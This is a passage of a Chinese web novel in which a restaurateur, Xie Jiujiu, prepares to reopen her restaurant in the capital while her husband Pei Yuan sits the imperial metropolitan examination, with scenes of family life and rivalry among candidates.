两者结合就是明晃晃的肉骨头,吊在几人跟前让他们愿意为了谢九九口中‘以后的云客来’鞠躬尽瘁死而后已。 要不然,谁能大几个月不拿钱没活干地跟着你谢九九从容县到京城,真以为这一路好走,真以为光一个谢九九就能让人抛家舍业? 好在来了,见了京城的繁华也见了关家给裴元和谢九九准备的好宅子,即便新云客来还没影儿,大家心里这股气还挺足的。 不就是外江龙害怕斗不过地头蛇嘛,那就先沉下心来把京城这盘子水给摸透了再说。做生意不能着急,这个道理吃过亏的潘掌柜比谁都清楚。 今天谢九九出门,一是听说南城有一家做潭州菜的馆子。在京城开了几年,生意不算好也不算差,算是站稳了脚跟,谢九九打算来尝尝味道。 二是这几天潘掌柜几人都出门自己寻摸活路,趁着出门吃饭的当口正好问问他们,这几天都有什么进展。 家里的饭菜现在多是由关家送来的那一房下人在做,管着厨房的胖婶子手艺不错,但就是太喜欢做面食。 炊饼、肉炊饼,面条,擀面条。揪面片、疙瘩汤,哎呀五花八门的,刚开始一家人都说好吃,时间长了真受不了。就想吃完大米饭,配一个韭菜炒腊肉也能下三碗饭。 昨天晚饭的时候听谢九九说今天中午请客吃饭,今早一个个的连早饭都没吃多少,就等着搓谢东家这一顿了。 第96章 第96章这是你的事业 刚过完正月十五,现在就出门在街上逛街买东西下馆子的,大多荷包里还有点底子,走在路上一个个满面红光的。 看得坐在潭州菜馆二楼的谢九九也忍不住嘴角含着笑意,到底是天子脚下,一个个的看过去都跟看一坨坨银锭子一样,怎么瞧怎么让人欢喜。 说这话的时候谢有粮落在三人之中的最后面,前面的没听清就听见她表姐那句欢喜。 本来就有些浅浅得意的年轻人脸上越发露出几分喜色,后头那一只脚还没踏进门,就忍不住跟谢九九邀功:“表姐,我找着活儿了,就在南城。还包吃包住,等过两天我就搬过去。” “这么快,问清楚什么地方干什么活了没有。” 谢有粮脑子转得快,但再快在外人眼里他都还只是个没成亲,嘴上没毛办事不牢的年轻人。 说话甚至还带着一听就知道是南地人的方言,在家里说话稍微快一点关杰他们就直呼像在唱曲儿,压根听不懂。 “在南城一个饭馆里做跑堂倌儿,饭馆不大,除了我还有两个跑堂,我负责点菜记账,等每天打烊了以后再跟账房那边对账。” 谢有粮本就是正经的账房先生,之前云客来每日的流水账目颇大,即便不能跟京城那些大饭馆比,以谢有粮的经验想要找个账房的活儿,不容易但慢慢找肯定能找着。 现在去做什么跑堂倌儿,说是底下还管着两个人,说白了他干的还是跑堂的活儿,只不过额外还得把每天每桌客人第一遍粗账目先算一遍。 这个活儿琐碎又不能分心,并不是多好的差事。谢九九一听谢有粮找的是这种活儿,当即就想拒绝不让他去。 可谢有粮有自己的想法,“我不像潘掌柜当了这么多年的掌柜,南来北往的客人见得多了,什么地方的话都听得懂,乡音也浅。” “大头大部分时间在厨房,乡音重点就重点也没事。就我这个做账房的,人家一说就说账房先生最是个轻省活儿,守着算盘笔杆子就能赚钱。” 可其实光是饭馆里纳西供应菜肉米面的老板们,每天下来都有不少需要交涉扯皮的事。这家的菜不好,那家又要提前支取银子,亦或是少送了东西,临时涨了价东西却已经送来了。 这些事拍板的是掌柜,但所有跟银钱有关的事情难道不得从他这个账房手里过一遍?现在来了京城,最着急的就是谢有粮。 京城的货源从哪里来,哪处的东西更便宜更好,谁家能做生意谁家不能沾,这些事自己不光要了解还得能听得懂人家说话,还得让人家听得懂自己说话。 千万不能小看了生意人,你只要表现出来弱一点气虚一点,那些人精就得想方设法从你身上占便宜。这跟好坏无关,谁做生意都是这样。 谢有粮就是专门找了这么个辛苦的活儿,想要以最短的时间把自己融进京城这片土地里,谁也劝不住。 “表姐你放心吧,再苦还能比插秧抢收更苦啊?我现在是去偷师的,肯定能摆布得开。” 谢有粮是真不觉得这有什么,以前在鹿鸣村的时候,农闲了家里从山上挖些野菜药材,再带着屋前塘里的泥鳅鲫鱼去镇上卖。 都是自家弄来的东西加起来就那么一点儿,到了集上摆那里有人买的时候少,无人问津的时候多。没人买又不想把东西原样挑回来,就得沿着街市挨家挨户的去问,看看有没有哪家想要。 那样卖出去的东西,谈不上一斤多少个铜子,都是人家说多少就是多少。有时候一大桶巴掌长的鲫鱼,人家给三五个铜板一样要卖。 因为家里还等着这三五个铜板去买盐买油,而从镇子上重新挑回来的鲫鱼是不值钱的,要么趁着鱼没死赶紧拿火把鱼焙干,要么一大桶臭鱼烂虾除了扔了,再没别的办法。 一家子老小空有一膀子力气,却吃不到一口饱饭。谢有粮比谁都清楚当年要不是谢九九拉扯自己一把,自己眼下就还在为了怎么才能伺候好那几亩地费尽心力。 去年临出发前谢有粮回了一趟鹿鸣村,有了自己在云客来当账房赚的银子,家里的日子比之前好过了许多。爹娘还种着谢家的田,但额外家里已经在村上更偏的地方买了几亩田。 其中除了一亩中田,其余的都是下田。但就算这样,对于谢有粮一家人来说已经是好得不能再好的日子了。 这一次跟着谢九九出来,潘掌柜是权衡利弊仔细考虑清楚了的,大头是知道自己怎么都争不过老韩,就想着年轻出来碰碰运气的。 只有谢有粮,因为谢九九当初的决定改变了命运,他对谢九九多少有些迷信。所以他从来没想过表姐兼东家的谢九九会成不了事,现在更是自己鞭策自己,已经把璀璨光明的未来都谋划好了。 谢有粮不是一时冲动,他有他的道理。谢九九也不再阻拦,只说他在外面不管干嘛自己这里这份工钱照给,包吃包住也可以,但隔三差五得回来。 等会试考完,裴元若是能定下留在京城,自家另找宅子安顿下来,照样也是要给他们几人留屋子的。 谢有粮点头答应下来,潘掌柜和大头也暗自松了一口气。他俩也找着差事了,一个在岳州会馆名下一个酒楼里做个小管事,一个在本地饭馆里找了个给厨房大师傅打下手的活儿。 京城的人喜欢吃面食的多,就算以后云客来把岳州容县的菜当特色,可面食总归是绕不过去的,现在不学可不行。 都找到了活路,这顿饭大家吃得比在家里更踏实。要不然老这么不上不下的晃荡着,实在不是一回事。 住在京城太抛费了,一睁眼每顿饭吃了多少,每天烧炕炕做饭用了多少柴火,就连吃的水都是需要人从甜水井里送来,每一桶多少钱那可都是有数的。 谢九九也高兴,直到吃过饭各自散去各有各忙,谢九九才显露出几分黯然,一旁的春儿想劝慰两句却又不知道如何开口,因为大家心里都清楚,这事就是急不得,就得慢慢筹谋。 谢九九没回家,而是在南城走马观花一般转了一圈。上一次来南城是过年前,关令仪让关家的管事和丫鬟跟着,带着自己来了一趟。 顺道又去了一趟绸缎庄和银楼金铺,自诩精明的谢九九莫名其妙就被那掌柜哄着买了两套头面,三支玉簪。 谢九九想说我就是看一看没说要买,可跟着出来的关家丫鬟已经让人把头面首饰都包起来,店里有专门的人送回去。 结账的话有人直接去找颐寿堂的管事嬷嬷,关令仪这几年都是跟着老太太一起生活,帐自然也是走的公中。 看着丫鬟和管事那般殷勤模样,谢九九当下就不说话了。只回去之后专门去了一趟关令仪那边,把白天的事情仔细跟人家说了。 当时关令仪冲着谢九九笑得见牙不见眼,一副十分满意的模样。 当即让身边的丫鬟去自己的妆奁匣子里又拿了个黄金嵌红宝的戒指出来给她。还夸她聪明,不用点也能通。 但其实傻子也能看出来,那管事和丫鬟跟银楼的掌柜私底下认识。关家的主子们在银楼花出去的每一笔银子,他们或多或少都要得一些好处。 那样逛街忒没意思,便是买着喜欢的头面,也变得不那么喜欢。还是在南城的市集上一个摊子一个铺子的逛,最后买了一匣子绢花,两支银簪子,心里反而更畅快些。 在南城逛了一大圈,谢九九掐着时辰又绕到关府门口接了裴元和沈霁,沈霁骑马先走,说是要去岳州会馆那边买两只烧鸡带回家。 裴元乖乖上了马车,还没等谢九九说,就先开口问她今天是不是出了什么事。要是什么事都没有,她不可能还专门来关家接自己。 谢九九乖乖把事情说了,脑袋靠在裴元肩膀上,卸了浑身的力气,“我也不知道把他们带出来是好还是不好了,要是我一直没办法把云客来重新开起来,他们眼下吃的这些苦又算什么。” “怎么没法子重开云客来,京城是大,有本事的人更是如过江之鲫。你以前在容县的时候都不拿云客来跟临泽楼比较,现在怎么反而着相了。” “什么?”谢九九一时没反应过来,只抬头去看裴元,“可是人家跟着我出来了,我总要做一番事业出来吧,要不然他们留在容县多好。” “嘿,说你傻你还真不聪明了?”裴元抬手握住妻子的手紧紧捏了捏,“京城这么大,谁开饭庄能把全京城人的生意都做了?那是异想天开。” “你只想着云客来之前经营起来多顺,给云客来供货的那些老板处得多舒服。怎么忘了那样的云客来,也是你家几代人才做成的。 你现在想凭着老潘几个人出去偷师一段时间,然后盘个铺子就开张,然后便赚个盆满钵满天下扬名?便是世上最美的梦,也不敢这么梦啊。” 裴元明白谢九九心里多少还是有些较劲儿,既把人带出来了,就想要把生意做得风风光光。可世上没有那么好的事,就好比自己科举这一路走来,差了哪一场考试都不行是一样的。 “那我把他们叫回来?”听了裴元的话,谢九九回家这一路都沉默着。直到马车拐个弯就要到家了,她才长长地舒了一口气。 “现在叫他们回来也无用,想干就先干着。等你考试结束,我把宅子和铺面都找好了,到时候再把人叫回来。” “铺面也不用多大,里头能摆下七八张桌子就行。铺子小有铺子小的好处,到时候便是请人也请不了几个,就是赔本吃亏也赔不了太多钱。” 小有小的办法,到时候厨房就让大头掌勺,水牌上的菜色就主推云客来最经典的那几个菜,先把脚跟站稳了铺子能维持下去,再去想吃亏赚钱的事。 “诶,这就对了嘛。”裴元笑着偷偷在妻子脸颊香了一口,“憋了这么久又不说,可算是想通了。” “谁憋了这么久没说了,你可别冤枉我。”谢九九才不会说自己为这事已经发愁了好久,更不会说有时候夜里想起这事晚上都睡不着。 “况且我不说难道你就不问,看来咱们裴相公待我的心也不过如此嘛。” “胡说,这世上要真有六月飞雪,那一定就是你冤枉我冤枉得太狠了!” 裴元如何肯认,他是知道谢九九在发愁什么,但妻子不说他又怎么好贸然指指点点。就好像自己读书,不管自己怎么选择谢九九从来不干涉左右一样。 这番家业是她的,就该她自己来做这份决定! 第97章 第97章最次,也得是个同进士吧…… 二月初九,春闱开考。 二月初的京城还冷得很,贡院里的隔间拢共就那么大,考生可以自己带巴掌大的熏炉和木炭进去,对于取暖来说只能算得上聊胜于无。 前几天又下了一场雪,一连下了两天连后院的树枝都压断了两根。 京城的雪是谢九九从未见过的世面,她以前就完全不知道其实夜里雪落在枝丫和地上也是有声音的,有时候雪下得大了能把睡迷糊的人吵醒。 屋里的窗户贴了两层,外边是楮皮纸里层是暗纹素绢,等到了要睡觉了还会把过了一层毛毡的木板窗放下来,只留顶上的气孔通风换气。 屋子里只有角落里的一小盏黄蜡烛当做夜灯,以防半夜起身喝水或小解的时候再摔着。 身下是热炕,身旁是比热炕凉快不了多少的丈夫。谢九九伸出一只脚越过裴元的身子去勾垂下来的幔帐,胡乱扒拉开一小片,让昏黄的烛光透进来一点儿。 “睡不着了?” “嗯,还是有点儿紧张了。” “那就不睡了,陪我说会儿话吧。” 会试第一场是二月初九丑时开始排队等待进入贡院。听说会试入场前的搜检比乡试更严格,考生不光要把棉袄氅衣脱了,就连里衣都得撩起来,让人验明没有在身上写字夹带小抄。 丑时不过才三更天(凌晨一点),正 是平时睡意正浓的时候,家中两个举人等着考试,晚上早早地就把晚饭吃了各自回屋,一个个都装模作样,好似半点不在意压根不紧张。 谢九九睡前去前院转了一圈,谢有粮和潘掌柜两个的屋子里甚至还有隐约的鼾声此起彼伏,特别有节奏韵律。 还是谢九九站在窗外抬手敲了敲窗棂,潘掌柜才噌一下从床上弹起来,下床开门一气呵成,问谢九九是不是姑爷还缺什么东西,他马上出门去买。 “别看他们一个个都像没事人一样,其实都是装出来的。” 三个在外面找到差事的,前天就各自找理由都回来了。就连大头家的媳妇也跟着回来,这么大冷的天非要天天早上做新鲜米粉,给裴元和沈霁两人吃。 好似一到了外乡,别管地方有多好,只要能吃一顿老家的饭,再悬着的心也跟着安稳下来。 “我也是装出来的。”裴元搂在谢九九腰上的手臂紧了紧,“我天天都是装睡,你都没看出来。” “谁说我没看出来的,我就是懒得戳穿罢了。”谢九九把手隔着里衣紧紧贴在裴元心口,“昨晚上你过了三更天的梆子声才睡,前天夜里我俩喝了点儿,睡得稍微早点。” 谢九九指节莹润修长如葱管的手有些戏谑地叩在裴元心口上,每数一天就拿指腹不轻不重地点上一下,认认真真给裴举人数着。 “前天睡得最晚,我起身喝水踩着你脚了你也不说哼一声,就躺在那儿一动不动的,多渗人啊。” “大娘子故意的是不是,故意挤兑我。” 裴元没想到谢九九真的知道自己每天什么时候才睡着,一时间面上多少染了几分羞赧,好似以往在人前装出那一副自持的模样,在谢九九眼里都成了无用功。 “你放心,别人都没看出来。春儿前两天还私底下问我姑爷是不是从他两个舅舅那里弄到关于考题的消息了,要不然怎么一天天该吃吃该睡睡的,这家里再没比你更闲适的人。” “要不然怎么办,我天天吃不下睡不着的,家里就该乱了。可走了九十九步就差这么一哆嗦了,我这心里哪能不怕。” 越怕就越不敢露怯,这个时候一旦裴元露一分怯,身边的人就会显现出更加掩藏不住的忐忑和担忧。 裴元当然知道家中所有人都盼着自己好,但当这些好都转化成了担忧的时候,裴元觉得自己承受不住。一向自己给自己做主,从不被旁人眼光或期盼所左右的裴远舟,这一次是真的有些怕了。 “你说,要是我这次考不中怎么办?”外头才刚敲过一更天的梆子,吃晚饭的时候早就跟沈霁说好了,二更天起床准备出门,这会儿时辰还早。 裴元侧过身子面对着谢九九,终于在临考前把压在心里想了好多天的话问出口,“要是我这个连中二元的解元,不仅考不中状元,到时候连进士都落榜,怎么办。” “啊?”谢九九确实没想到裴元会这么问,她看着裴元不似作伪,或是说故意逗自己的表情,憋了半天才憋出一句:“那同进士也没把握吗。” ‘噗嗤!’是裴元死活没忍住的笑声。 裴远舟都已经做好准备听妻子给自己的安抚了,没想到谢九九却是真心实意问自己最少能不能考中一个同进士,这目标一下子就给自己降下来了。 “别人都说如夫人同进士,要是到时候真的殿试过后只点了一个同进士,你会不会失望。” “那肯定有点儿,状元夫人诶!我都只在戏台上见过。过年那阵母亲带我去了那么多贵人府邸,我也没见着一个状元娘子。” 谢九九说这话又无意识地往裴元怀里靠了靠,“可没跟你成亲之前我也没想到我能做个官家娘子,还稀里糊涂地就来了京城。” “我都快不记得几年前我被族里那些人为难刁难的时候了,现在想起来跟上辈子一样。你呢,还记得自己一个住在裴家那个老宅子的时候吗。” 这几年走得太快,好些人和事都被落在身后,不提起好似真的就全都忘了。 谢九九甚至不大清楚近两年谢天佑谢宝柱和族爷他们家在干什么,因为从容县出发往京城来的时候,族里只有幺叔爷带着几个年轻的后生来送。 那种场合下,没有人会不长眼色非要提起那几个不合时宜的人。 同理,当时裴家去送行的也只有裴元血脉上同父异母的两个哥哥,两人来了也绝口不提裴老三和裴家,以至于去送行的其他人很多到最后也不知道原来裴家也来了人。 “我记得,就是不怎么想起他们了。” “咱们再差还能怎么差,总比前几年的日子好过吧。所以再失望也就那样吧,顶多失望三天,过后还不是该干嘛干嘛。” “状元也好同进士也好,只要能考上就比考不上要好。不过实在考不上咱们也不能回去,这一路来京城花的银子跟淌水似的,再回去太划不来了。” “前天我出去看了几家铺子,都不大。其中有个前店后院的铺子位置价钱都还合适,最好的就是后院的屋子够多,到时候潘掌柜他们都能住在铺子后头。” “至于家里的话,要是手头紧的话我们就暂时不搬家,母亲给的这个院子多住一两年也不是不行,反正我都没什么不乐意的对不对。” 关于裴元要是真的考不上该怎么办,谢九九很认真的想了。想来想去最关键的还是考上了状元除了仕途之外,毕竟考上了状元可是真有银子赚的。 最要紧的是宅院,上一科和上上一科的状元皇上都赏了宅院,听说都宅院不大但都在京城最好的地段,不管是入皇城还是去翰林院,时间充裕的时候都能腿着去。 要是裴元能中状元,还是三元及第的状元,自己就能省下老大一笔买宅子的银子。要是考不中状元,便是进士也有很大一部分免除徭役的田。 谢九九也算过,整个鹿鸣村的田加起来都不到两千亩,对于老百姓来说要是能免除徭役日子就能好过许多。 要是裴元能考中进士,光是从投献到自家名下的田产上收的租子,也能抵消全家在京城一大半的花销。这个免除徭役的好处,便是同进士也有。 所以谢九九想来想去,都觉得只要裴元能考上同进士就行,状元不状元的那是命,这种东西没法强求。 再退一万步,要是真的落榜了那就继续赖在现在住的这里,反正儿子住母亲的宅子也不算特别丢人。 至于自己,那人家嫁人的媳妇不都得跟着丈夫住,自己就把自己也当做入赘的赘妻,裴远舟受得了的事自己有什么受不了的,吃软饭不丢人! 谢九九把自己安抚好,便抬手去抱住了裴元的颈子,“行了,最坏的结果我们俩也承受得住,别怕了。” “嗯。都听你的,你放心,我好了。” 没说什么大道理,甚至谢九九说的每一句话都没离开一个利字,照样把裴相公哄得嘴角上扬笑得眼尾都露了两条细纹。 但裴元说自己好了那就是真的好了,谢九九当即就放下心来。说好了没多久就要起身便不睡了的人,才一小会儿就趴在裴元身上睡得直打小呼噜。 还是时辰到了,家里众人起床,做早饭的做早饭,清点查看要带入贡院东西的清点东西,听见有些细碎忙碌的脚步声传进来,谢九九才睡眼惺忪的醒来。 三更的梆子刚瞧过,贡院外就已经排起长龙。 比裴元一行人来得更早的是关家的人,关如璋关如琅带着关令仪和几个管事早早的就到了。 两个管事甚至还提前给裴元和沈霁排了个靠前的位置,这么大冷的天能早点进去总比站在寒风中傻等着强。今天可不是谦让当君子的好时候,关家来得这么早都没给外甥抢到最前面的位置呢! “不第一个进场也好,先看看搜检的人是个什么态度,要是粗蛮些就把态度放得更缓和些,这个 时候没道理讲,要进考场的人都得过这一关。” “进了考场,外边的事就不要操心了,考试的事情尽力就好。千万别着急千万别钻牛角尖,咱们母子能走到今日什么都不缺,家里有九九当家也……” 本来关令仪想说也用不着你操心,话到了嘴边又觉得这话说出来不合适,说得自己儿子这姑爷着实没什么用处一般,便又把话给咽回去了。 “总之好好的,今年天气冷,实在受不住了就出来,往后日子还长,不怕考不中。” 关令仪拉着儿子的手絮絮叨叨叮嘱了好一会儿,直到后面赶来的人越来越多,这才放手让儿子去前面排队。 裴元准备转身,又往回倒了两步走到谢九九跟前,“你呢,还有没有什么要跟我说的。” “没了,该说的早就说了。”谢九九摇摇头,这个时候了确实没什么好说的了,读了这么多年的书都在他自己心里,该怎么考能考成什么样子,旁人是死活帮不上的了。 举人们排队入贡院,直到寅时最后一个考生进去,贡院门口才没那么拥挤了。谢九九转身去看裹紧了氅衣冷得唇色发白的关令仪和于氏,这两人冷得都直哆嗦了,还不肯进马车里避避风。 还是谢九九一手牵着一个往回走,才把人给哄上马车,“好了好了,回去喝碗姜汤再睡一觉,就不操心里头的人了。这事咱们又帮不上,急也急不来。” 第98章 第98章裴元排到等待入贡院…… 裴元排到等待入贡院的队伍里,就没法再跟家里人说话了。 送考的家人只能站在外围,即便有关家的奴仆把四周拦出小小一个圈来,关家人和谢九九站的位置也不算太好,裴元稍微往前走一走,就只能勉强看见他镶着兔毛边的风帽尖尖。 裴元没有回头,只是更加用力地裹紧了裘袍,呵出的白气在贡院点的灯笼的映衬下像是朦胧的薄雾,拢在自己眼前又很快散去。 裴远舟有些幼稚的又连着呵了几口,直到排在他身后的沈霁拿手肘戳了戳他的腰窝,马上就要进贡院考试的裴相公才停下这般冒傻气的行径。 “瞧见没有,你左手边有几个人一直看着你。” “看见了,我又不是木头,不用看也感觉到了。” 裴元早就用余光装作不经意地打量过他们了,这个本事他之前就有,但关宁业嫌他技术太菜,趁着过年那段时间又传授给他许多秘诀。 现在裴元要是想偷偷打量一个人,绝对不会惊动对方。这是关宁业入锦衣卫之后练出来的本事,不管是进宫面圣还是在诏狱里审那些个大人们,都用得上。 当时关宁业的原话是:“那些个读书人最是口是心非,想从他们身上套出实情,就必不能只听他们说了什么。” 书读得多了心眼子也多,只有看清楚他们不经意间的每一个动作每一个神态,才能抽丝剥茧找出自己想要的答案。 说这话的时候关宁业多少有些自得,毕竟整个府里除了裴元,还真没人听他说那一套。 就是说完之后,转头看见身后站在脸比锅底还黑的关如璋被吓得不轻,想说话愣是被自己的口水呛着,打起嗝来。 还是关侍郎懒得在大过年的时候跟儿子为了这点小事掰扯,只幽幽反问关宁业一句:难不成入了锦衣卫就不是读书人了? 想起那日关宁业青一阵红一阵的脸色,裴元忍不住勾了勾嘴角。他知道左边那几个人一直在看着自己,也知道自己现在这副要笑不笑的样子,已经让几人中为首的那个举子,皱紧了眉头。 “别看了,要看就大大方方的看。” 沈霁没裴这个本事,几句话的功夫就已经往那几个人的方向看了好几下。他以为自己看得很小心,但其实瞎子也知道他在看谁。 “看一看怎么了,又不会看少他们一块肉。”沈霁收回视线,脸上莫名多了几分愠色。 “你认识?”裴元抬手他肩膀上用力捏了几下,“马上要进考场了,定一定心。什么了不得的人物,让我们沈老爷这么瞧不上。” “穿着最华贵那个,是去年南直隶的解元。”沈霁自己给自己在心口摩挲了几下,才算稳了下来。 “今年参加会试又连中二元的举人,除了你就是他。” 连中三元,本朝开国一百多年也就一个。连中二元在很多地方也是几十年才能出一个,眼下这一科除了两个连中二元的举人,谁都想看看,他俩有没有这个命,再中一元。 “明白了,这是觉得我这个从偏远南地来的解元,分了他的风头,是吧。” “对咯~” 沈霁双手一拍,可不就是这点小心思。迁都之前南直隶就是都城,在本朝之间那也是历经好几朝的古都。 人家那是什么钟灵毓秀地界出来的天之骄子,南直隶连中二元的解元,跟潭州来的解元那能是一码事吗?怪不得人家不高兴。 “况且你来了京城以后先是入了关府,之后又去了严学士府上。虽没拜师,但严学士跟章先生还有你和关家之间的联系,早就被他们扒了个干干净净。” 裴元除了岳州会馆去过两次,左大人那里去拜见了一趟,其余时候并没有把自己竖成一杆旗,让整个潭州的举人都围在自己身边。 现在岳州乃至潭州的举人中,最出风头的是当初那个芝兰玉树的汤亚元,其次是貌不惊人但身手不凡,来了京城不作诗会友,反而已经跟人越了好几场冬猎的陆经魁。 再之后才是裴元这个,背靠大树好乘凉,又一条歪路走到黑走了入赘这条路就死活不肯回头的解元老爷。 “我听说他也带着自己的文章去严学士府上求见了,就是没见着人。” 过完正月十五,裴元拉着关宁业,让他作陪带着沈霁去了一趟严府。谈不上拜师或是什么,就是让沈霁在严学士跟前混个眼熟。 往后要是沈霁考中了进士,想要留在京城,到时候参加翰林院的馆选,有这一分面子情在,就比没有要好。 “明白了,那他不光是看我,还是在看你。咱们俩谁也别谦虚,都是他们眼里攀炎附势的那一个,人家这是盼着我俩最好都落第那才是老天有眼呢。” “去你的,马上就要进贡院了,你说些好听的行不行。” 两人说话的声音不高,至少隔着老长距离的左边那条等待入贡院的队伍就听不见。但那几人又不是瞎子,光是看裴元和沈霁的样子就知道两人定是在蛐蛐他们。 那个富贵公子打扮的举人莫名就来了怒意,当下就要抬腿往裴元这边来,还是他身边的友人把他扯住,这才没让他冲动。 不过一个小小的插曲,等贡院门口的人搜捡过后,拿着号牌找到自己的号舍的裴元就已经把这事抛在脑后,浑然不知自己给自己埋下了一个好大的麻烦。 会试跟乡试一样也是考三场,第一场也同样最要紧也最难。四书五经分别出三道和四道题目,都需以八股文的形式来解题。 每一道题答出来字数不但要公正,还不能太多也不能太少。多了拖沓少了不合规矩,在阅卷官那里都是要扣分的。 毕竟能进入这个贡院的每一个人都是天之骄子,非要说答出来的试卷有什么天差地别倒也不至于,就只能这般一字一句地抠字眼吹毛求疵,才能把一科的进士优中选优地挑选出来。 拿到试卷之后裴元并不着急答题,而是先把每一道题的题目仔细看过一遍,又趁着研磨的时间细细思虑了一番,这才铺开答卷纸提笔答题。 会试连考三场,每场考试期间不得出考场,连号舍都不能出。每场考三天,第一场二月初九入场,二月十一交卷出贡院。 出来之后家里的两辆马车就停在不远处,裴元先出来,谢九九扶着丈夫的手臂把人拉上马车就往回走。 还有一辆是等着接沈霁的,来的时候她就跟于氏说好了,谁先出来就谁先回家, 这个时候不存在客气不客气,早一点回去洗个澡吃个饭好好的睡一觉,明天二月十二又得进场考试。 回到家中洗澡吃饭,吃饱喝足裴元并不着急去睡觉。而是把阿满抱着坐在自己腿上,问女儿这三天自己不在家她可有乖乖练字。 看着女儿皱成一团的小脸,连鼻梁都皱出褶子来了,裴元忍不住哈哈大笑起来。笑得谢九九没好气地把孩子接过来抱回她自己房里,让她跟沈清蘅玩儿去。 “你不回来吧,总觉着家里少个人没意思。你一回来就烦人得很,阿满才多大,这几天你不在谁能看着她天天练字,她没给你把屋顶子掀了,都算乖巧懂事了。” “我不回来就没意思啊。” 裴郎君听话就听一半,还只听自己想听的那一半,“那以前一直守着云客来,一个月就去一次府城看看我,住不到两天就急吼吼要回家的人是谁?” /:. “是我啊,不行吗。” 刚从考场出来,裴元整个人还紧绷着。别看他此刻嘴上絮絮叨叨还能跟谢九九插科打诨,其实心里压根不知道自己说了什么。 谢九九就由着他拉着自己缠磨,直到关令仪提前给的安神香渐渐发挥作用,谢九九半扶半抱着裴远舟在床上睡下。 嘴上还硬着说时辰还早不想睡的人,这才不知不觉就睡沉,等到再醒来都快夜里一更天了。 三更天又要进考场,裴元起来洗了个脸,把谢九九做的一菜一汤一碗米饭吃了个干净,这才重新抱着妻子在暖榻上躺下,等着时辰一到继续赶赴考场。 “你放心,这次必能让你留在京城。” “我放心,昨天牙人还找到家里来了,问城南那个铺子我要不要,我把定钱给交了。” 丈夫还在贡院里没出来,谢九九挂心得吃不好睡不着的,但是依旧不耽误她把铺子的事情定下来。 知道谢九九定了铺子,裴元嗯了一声没多说什么。 看了眼书架又懒得起身,直到外边曹勇又来说时辰到了要出发了,裴元这才起身去书架上掏出一个小荷包来。 里面是他存下的私房钱,这下真是最后一点老底儿都掏给谢九九了,“铺子合适就定下来,等我考完了咱俩一起去看看该怎么布置。” 第二场、第三场…… 三天一个轮回,九天考完,即便是一向身体算得上很好的裴元,从考场出来的时候腿肚子都直发软。 这一次等在考场外的还有关令仪和跟姑母一起来的关宁业,关宁业一身飞鱼服,即便今日出门没带绣春刀也唬人得紧。 他上前去扶住走路直发飘的裴元,有心打趣两句,可一看他眼底的青黑就又说不出口了。 “怎么,表哥这是庆幸当年选了入锦衣卫,躲过了这一劫。” “你小子别哪壶不开提哪壶啊,说话尽往心尖上戳是吧。” 自从那天在严学士的书房里,听关宁业说了那么多以后,这个表哥在裴元心里就是个人性不错,但脑子多少有些不好使的主儿。 这世上最不值钱的是人命,或许别人一句话说没就没了。 这世上最值钱的也是人命,每个人都只活这几十年,等一辈子过完即便有来世,一碗孟婆汤喝下去,自己也就不再是自己了。 所以,要裴元像关宁业那样自以为是的‘为了家族’奉献自己的未来,还一个人憋着谁也不说,裴元下辈子也做不来。 他就要自私的活着,用尽全力谋求到自己想要的一切,名望地位、爱妻儿女他都得要! 自私得全都要的裴元,在家结结实实躺了三天,每天除了吃就是睡,再不然就是洗个澡洗个头换身衣服,继续睡继续吃。 等彻底缓过来了,才天天跟着谢九九出门往南城去。 用来开云客来的铺子是定下来了,但要准备的东西还多得很。原本这铺子是用来做杂货铺的,现在要改成小饭馆可以说是里里外外都要改。 尤其是厨房和后院,厨房不光要大,每一个位置都还要顺手。不能说炒菜在这里,案台摆在老远的地方。 还有做饭馆的最发愁的就是每天后厨的脏水往哪里排,这条排水渠一定要做得好才显干净,要不然天气稍微热一点,不说客人万一看见不好,就是周围做生意的邻居都是要有意见的。 有这些事要忙,裴元和谢九九甚至都没工夫去担心会试结果。直到张榜前一天沈霁拉住又要出门的裴元,“明天就要张榜了,你今儿在家陪我喝一杯行不行。” 第99章 第99章我一定能考上 “憋不住了?” “真憋不住了。” 赶考前,没个考生都知大理明大义,一说便是尽力而为无愧于心,能不能考上全凭天意,哪有那么多考一次就能中进士的好事。 三十老明经,五十少进士。这句谚语世世代代传了这么多年是有道理的,或者说一考即中才是少数中的少数,大部分人就得三年三年又三年地这么苦熬下去,才有可能求得一个结果。 但想是这么想,等真到了要放榜出结果的时候,又怎么可能不怕。 尤其沈霁这一次考完之后,状态一直就不大对劲。裴元主动问过他一次,他当时摇摇头什么都不肯说,只一再催促裴元赶紧跟谢九九出门,别耽误了开饭馆的事。 沈霁不想说,裴元自然就不问。直到明天就要张榜出成绩了,沈大相公才因为心里实在憋得受不住,必须找裴元说一说才行。 二月二十七,已然立春了,但早晚依旧冷得很。就算是白日出了太阳,也被不知从哪里吹来的黄沙遮蔽了的大半。 ‘风霾蔽日’这四个字,除了关杰他们,家中所有人都是来了京城以后才明白这四个字到底是个什么景象。 两人在书房对坐,半开着的窗户上都蒙着纱帐,要不然风一吹就能吃一嘴巴黄沙,简直没地儿说理去。 “昨晚上隐约听见东厢那边孩子哭,早上想去问问怎么回事,几个孩子又都被关老夫人接去府里玩儿了。” “没什么大事,就是太干了阿满又留鼻血了。” 沈霁考完之后兴致一直不高,连于氏都从西厢房那边搬到对面,带着阿满和沈清蘅两个孩子住。沈凤岐更是躲到前院谢有粮屋子里去了,就怕撞着他爹不高兴的时候找他的茬儿。 “京城这天气是邪乎,明明之前那么大的雪,怎么这一开春这么干,咱们大人忍一忍也算了,几个孩子是真受委屈了。” “没你说的那么夸张,家里天天都炖了梨膏,茶水也都换成了麦冬茶。前两天曹勇和高义还出去弄了一大筐子的窖藏的鲜果回来,干又能干到哪里去。” 阿满流鼻血,那是昨晚上谢九九做得黄焖羊肉锅子辣子放多了,现在的天晚上还是冷,晚饭准备个羊肉锅子一吃,整个夜里身上都是热乎的。 偏阿满是个火体又嘴馋,她春姨给她舀了满满一碗羊肉加胡萝卜还不够,吃完了还要。又给她夹了半碗粉皮和一筷子青菘菜,又吃完了。 这下不要了,知道再要她娘也不会肯给了,就赖在裴元身旁非要坐到她爹腿上,不管裴元吃什么都要问一句:“爹,这个好吃不。爹,这个我给你尝尝味吧。” 稀里糊涂的,裴元就偷着又给女儿喂了不少菜肉。等晚上吃撑了又上火流鼻血,回头自己就挨了谢九九的呲。今天一早关杰回了一趟关府,没多会儿老太太就把三个孩子一起接走了。 现在谢九九已经很放心隔三差五把阿满送去关令仪那边住几天,毕竟关府的规矩大,而阿满那个性子谢九九和裴元一点儿都不怕她在关家被约束得狠了,反而她就是欠那么点管束! 